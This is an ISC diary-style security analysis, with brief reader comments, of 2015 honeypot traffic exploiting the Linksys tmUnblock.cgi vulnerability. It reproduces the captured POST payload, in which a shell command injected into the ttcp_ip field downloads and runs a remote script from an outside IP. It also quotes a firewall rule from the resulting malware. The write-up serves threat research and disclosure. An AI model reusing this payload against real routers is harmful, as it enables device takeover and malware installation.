Last year, we wrote about the "Moon Worm", a bitcoin mining piece of malware that infected Linksys routers. Ever since then, I have seen lots and lots of hits to the vulnerable cgi script ("tmUnblock.cgi") in our honeypot logs. Just a quick graph of the volume: So I figured it is time to see what they are after these days. Overall, the basic pattern is the similar to what we have seen back with the the Moon worm: First, the scanner will just confirm existence of the tmUnblock.cgi script, followed by a POST with the actual exploit: 27.100.64.102 - - [04/Aug/2015:10:03:44 +0000] "GET /tmUnblock.cgi HTTP/1.1" 200 195 "-" "-" The full post request: POST /tmUnblock.cgi HTTP/1.1 This string decodes to: submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;echo "#!/bin/sh" > irk1.sh;echo "wget -O irk2.sh hxxp://109.206.177.16/ferry/rev12.sh" >> irk1.sh;echo "chmod +x irk2.sh" >> irk1.sh;echo "./irk2.sh" >> irk1.sh;chmod +x irk1.sh;./irk1.sh`&StartEPI=1 Unlike for the Moon worm, the additional malware is not pulled from the host sending the exploit. The "irk2.sh / rev12.sh" script : #!/bin/sh The script downloads and runs two additional executables. I haven't done the full analysis yet (let me know if you want a copy and can't get them from the URLs above anymore), but there are a couple interesting lines in the strings: INPUT -p udp --dport 9999 -j DROP So looks like the attacker is "securing" the router by blocking access to the web based admin (port 80, 8080) and allowing access from very specific IP addresses, probably controlled by the attacker. Virustotal identifies ".nttpd" and ".sox" as a proxy (Avast, DrWeb) . Reports for these binaries go back a few months. The scripts also appear to modify name servers in resolv.conf, but so far I think they only set them to Google's name servers (8.8.8.8 and 8.8.4.4). FWIW: per whois, 109.206.177.16, belongs to Serverel, a California company (but it is RIPE IP address space). abuse@serverel.com was notified. Severel shut down the affected server shortly after being notified. --- |
Johannes 4073 Posts ISC Handler Aug 5th 2015 |
Thread locked Subscribe |
Aug 5th 2015 5 years ago |
Hi, I saw a lot of these requests on my honeypot(s). But was never able to get my hands on the actual nttpd code. Would it be possible to share the source code?
|
johestephan 1 Posts |
Quote |
Aug 4th 2015 5 years ago |
I still get these all the time.
|
Anonymous |
Quote |
Aug 4th 2015 5 years ago |
Sign Up for Free or Log In to start participating in the conversation!